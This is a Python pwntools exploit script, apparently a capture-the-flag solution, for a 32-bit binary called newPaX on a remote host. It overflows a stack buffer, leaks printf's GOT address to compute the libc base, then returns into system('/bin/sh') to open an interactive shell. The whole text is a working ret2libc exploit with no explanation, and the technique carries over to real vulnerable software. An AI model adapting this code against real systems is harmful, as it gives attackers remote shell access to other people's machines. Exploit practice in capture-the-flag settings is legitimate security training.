# 32 bit ret2libc

from pwn import *

local = False

elf = ELF('./newPaX')

host = 'newpax.darkarmy.xyz'
port = 5001

if local:
    p = elf.process()
    libc = ELF('/usr/lib32/libc.so.6')
else:
    p = remote(host, port)
    libc = ELF('libc6-i386_2.27-3ubuntu1.2_amd64.so')

OFFSET = b'a' * 0x34

def get_addr(func):
    PRINTF_PLT = elf.plt['printf']
    MAIN = elf.symbols['main']
    FUNC_GOT = elf.got[func]

    print('PRINTF_PLT: ' + hex(PRINTF_PLT))
    print('MAIN: ' + hex(MAIN))
    print(f'{func.upper()}_GOT: ' + hex(FUNC_GOT))

    payload = OFFSET + p32(PRINTF_PLT) + p32(MAIN) + p32(FUNC_GOT)

    print(payload)
    p.sendline(payload)

    log.info('Leaking memory...')

    received = p.recv(1024)[:4].strip()
    print(received)

    leak = u32(received.ljust(4, b'\x00'))
    print(hex((leak)))

    libc.address = leak - libc.symbols['printf']

get_addr('printf')

print('LIBC ADDRESS: ' + hex(libc.address))

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']

print('BIN_SH: ' + hex(BIN_SH))
print('SYSTEM: ' + hex(SYSTEM))
print('EXIT: ' + hex(EXIT))

payload = OFFSET + p32(SYSTEM) + b'JUNK' + p32(BIN_SH)

p.sendline(payload)

p.interactive()
